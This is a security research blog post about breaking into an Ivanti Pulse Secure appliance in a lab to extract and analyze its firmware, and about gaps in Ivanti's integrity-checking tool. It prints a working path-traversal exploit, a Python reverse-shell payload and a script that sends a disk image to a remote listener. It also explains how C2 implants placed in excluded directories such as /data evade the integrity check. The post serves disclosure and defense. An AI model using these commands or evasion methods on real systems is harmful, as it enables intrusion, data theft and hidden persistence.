Introduction
We’ve recently seen a series of sophisticated attacks targeting Ivanti Pulse Secure VPN appliances, underscoring the challenges surrounding the protection of IT infrastructure such as network devices. The nation-state group UNC5221 exploited these vulnerabilities as far as Dec. 3, 2023, but they are now under mass exploitation by several groups. Together, these vulnerabilities emphasize the inherent weaknesses within network security devices—ironic, as these products are meant to improve an organization’s security posture. As part of our reverse engineering of the firmware running on these Ivanti devices, we discovered a plethora of previously unreported problems. These discoveries illustrate the difficulty of securing complex digital supply chains. This blog post will discuss the range of vulnerabilities exposed during our reverse engineering process and the broader implications for the cybersecurity community.
Phase 1: Concept
Our initial theory was that we could simply download a trial version of a Pulse Secure virtual appliance and analyze it as we have with virtual appliances from F5, Citrix, and other device vendors. Unfortunately, we quickly discovered that Ivanti has taken a similar approach as other black box vendors by encrypting their firmware images, even the virtual ones, and we weren’t immediately able to get the VM version running in Proxmox. Vendors encrypt their firmware for reasons we don’t agree with: to prevent reverse engineering, or to offer their customers a false sense of security—no word on whether it’s “military-grade encryption”—but regardless, it’s a pointless exercise. This hasn’t stopped Chinese APTs from finding dozens of zero days in Fortinet, and now in Ivanti as well. So, instead of trying to break the encryption on a VM we decided instead to exploit a real hardware device and dump all its firmware off for analysis. This proved far easier than we expected.
Phase 2: Hack all the things, get all the firmware
Our lab device is a PSA3000 so we had the small barrier of getting firmware—Ivanti requires an active support contract to download them, like Fortinet and other vendors who lock their updates behind paywalls. We were able to acquire the firmware images we needed and we installed Ivanti Connect Secure version ICS-9.1.18.2-24467.1. From there it was as simple as choosing the exploit and we went with the one from Rapid7’s write-up—we didn’t need to bypass mitigations since we hadn’t applied any, but once you get into a serious hacking binge the tendency is to push it as far as you can. Exploitation is painfully easy; in fact, we can fit the exploit in a tweet (it’s an inverse badge of honor for a vendor to get popped in 140 characters). Here’s the exploit in a tweet:
curl -ik –path-as-is https://[IP]/api/v1/totp/user-backup-code/../../license/keys-status/
However the payload for the reverse shell pushes it over the 140-character limit:
;python -c ‘import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“IP”,PORT));subprocess.call([“/bin/sh”,”-i”],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())’;
After URL encoding the command per the Rapid7 blog and setting up a netcat listener on 4444 we throw the exploit and were rewarded with a reverse shell:
$ curl -ik –path-as-is https://172.16.10.70/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22172%2E16%2E20%2E113%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
Once we had our reverse shell, we started looking around. Ivanti has attempted to lock down the device by removing most tools we’re accustomed to finding on appliances and went so far as removing netcat, vim, and wget although they left curl and even ssh (a crippled version … more on that later). The first thing we wanted to do was export the file system and were fortunate that tools like dd, tar, and gzip were still included. The device has a few filesystems:
DD worked fine for the /dev/loop9 partition mounted as /data but we needed a way to copy it off the device. As it turned out, Ivanti’s ssh client wouldn’t connect to our exfiltration server; initially we thought the issue was the inability to create the .ssh folder in / but even after remounting read/write and manually specifying “HostKeyAlgorithms +ssh-rsa,ssh-dss” it wouldn’t connect. This meant scp was not an option and they also removed ftp. We finally resorted to writing a Python script to send the disk image to a waiting netcat listener which was successful. Without a text editor, we had to resort to echoing the entire thing line by line. Stupid CTF tricks for the win:
echo “import socket” > script.py
echo “s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)” >> script.py
echo “s.connect((‘172.16.20.113’, 4446)); f = open(‘/dev/loop9’, ‘rb’)” >> script.py
echo “d = f.read(16384)” >> script.py
echo “while d:” >> script.py
echo ” s.sendall(d)” >> script.py
echo ” d = f.read(16384)” >> script.py
echo “s.close()” >> script.py
After exfiltrating the /data partition we turned our attention to the rest of the device. This is probably a good time to point out what base operating system Ivanti is using: CentOS 6.4; which was released in 2013 and officially end of life in 2020. You read that correctly: Pulse Secure runs an 11-year-old version of Linux which hasn’t been supported since November 2020. More on this later.
Ivanti seems to have stripped their base CentOS image down and stored only the bare necessities binaries in /bin, /usr, /lib, etc. while storing all their system daemons in /home. They mount this under the root filesystem / which is read-only, and our Python script didn’t want to export it as we had with /data. So, we ended up creating one huge tarball of the rest of the device & exfiltrating as we had the /data partition.
Now that we had the decrypted device image in hand, we turned to EMBA to figure out what horrors were hidden inside it.
Phase 3 – EMBA
EMBA analysis unsurprisingly found a large number of outdated packages:
- Linux kernel 2.6.32 (end of life in February 2016)
- OpenSSL 1.0.2n (December 2017)
- Python 2.6.6 (August 2010)
- Perl v5.6.1 built for i386-linux (not x64, April 2001)
- Bash 4.1.2 which, surprisingly, has been patched for Shellshock
- A number of outdated libraries with known CVEs and exploits as seen below
These old software packages are components in the Ivanti Connect Secure product. This is a perfect example as to why visibility into digital supply chains is important and why enterprise customers are increasingly demanding SBOMs from their vendors.
Since Ivanti has removed administrative shell access we weren’t lucky enough to find hard coded credentials nor backdoor accounts.
We were able to determine the network cards Ivanti uses on their platforms based on the kernel drivers it contains.
We observed that the vast majority of the Pulse Secure GUI is written in Perl, and the basic semgrep modules EMBA uses don’t do a great job of finding vulnerable functions. However, it presents a huge attack surface which is no surprise, considering the constant stream of vulnerabilities being exploited.
The rest of their firmware resembles most IoT devices—very few binary protections and more possibly vulnerable shell scripts than we have time or resources to fully investigate:
Phase 4 – ‘Tegrity checkin’
As the wide-scale exploitation campaign against Ivanti raged throughout January, all blogs and vendor guidance mentioned running Ivanti’s “Integrity Checking Tool” or ICT. It was no surprise to find that Ivanti encrypted this too—gotta stop those hackers! We found something interesting in the rubble of our hacked PSA3000: a decryption tool called ‘packdecrypt’ which, as the astute reader may surmise, is an abbreviation of ‘package decrypt(or?ion?)’. This tool takes three arguments; infile, outfile, and key. As it turns out, ICT packages aren’t encrypted with a key, so a kind friend supplied us with a few and we decrypted all of them:
ps-ics-sa-genericV22611-b2689-integritycheck-package.pkg*
ps-ics-sa-genericV22622-b2691-integritycheck-package.pkg*
ps-ics-sa-genericV91184-b25067-integritycheck-package.pkg*
ps-ips-sa-genericV22611-b671-integritycheck-package.pkg*
ps-ips-sa-genericV91184-b10083-integritycheck-package.pkg*
ps-pcs-sa-genericV2-b12255-integritycheck-package.pkg*
We’re not going to discuss each one of these packages because they’re essentially the same thing only for different product lines, but the important parts are as follows.
- They contain a BOM file directory with SHA256 hashes for system files of hundreds of different versions of Pulse Secure & Policy Secure
- They use a bash script to start a Python script which iterates the filesystem and checks file hashes against a list of known good hashes.
There’s also a huge security hole in the logic of their script: it excludes over a dozen directories from being scanned, meaning an attacker could theoretically leave their persistent C2 implants in one of these paths and the device will still pass the integrity check! There is a persistent storage partition mounted as /data on the device and this entire partition is excluded as are /etc, /tmp, /var and others. Ivanti uses the /home partition to store all their product specific daemons and configuration files and this is scanned by their tool, in theory, this might detect attackers modifying system files but it does leave a large post-exploitation persistence surface for attackers.
We did a comparison of the versions of the scanner we have, from the oldest (April 2021) to the most recent (January 2024) and noted the only real differences were more files and folders being added as excludes—this is likely to work around false positives reported by customers.
To test our theory we dropped a copy of our favorite framework, Sliver C2, into its own folder, /data/sliver/ and ran the integrity tool—it reported perfectly clean:
We haven’t yet determined if it’s possible to start command & control servers during boot without detection—this likely requires modifying startup scripts which may be detected—but it poses a significant risk to organizations as it provides a false sense of security.
A persistent attacker (the P in APT) can exploit a system and stage their C2 framework, tools, exfiltrated data, etc. in a partition structure that the administrator is completely blind to. Because Ivanti prohibits customers from doing any sort of forensics outside their official tools, their only recourse is to trust the tool. Here is a real-world example of an advanced attacker scenario:
- A customer is running an Ivanti device that suddenly has a zero-day and their device is exploited.
- The attacker gains access and places their secondary tooling in the /data partition along with a large amount of staged data for exfiltration.
- The customer patches their systems before the attacker can exfiltrate anything and runs the integrity tool—everything looks good!
- The attacker finds a workaround to the original patch or mitigation, exploits the device again and can finish exfiltrating the data they staged previously.
Conclusion
We can’t rely on vendors to deliver perfectly secure hardware and software. There must be a system of checks and balances that allows customers and third-parties to validate product integrity and security. The more open this process is, the better job we can do to validate the digital supply chain, namely the hardware, firmware, and software components used in their products. When vendors do not share information and/or operate a closed system, validation becomes difficult, as does visibility. Attackers will most certainly, as evidenced recently, take advantage of this situation and exploit the lack of controls and visibility into the system. In the meantime, it is up to customers to employ mitigations for these software defects: identifying these vulnerabilities in our systems, detecting IoCs as best we can, and checking the integrity of firmware and software.
Additional Resources
- Webinar: Looking Back to See Ahead, a History of Network Device Threats
- Blog: A New Approach to Defending Network Infrastructure from Ransomware Groups and APTs
- White paper: Network Infrastructure on the Front Line
The post Flatlined: Analyzing Pulse Secure Firmware and Bypassing Integrity Checking appeared first on Eclypsium | Supply Chain Security for the Modern Enterprise.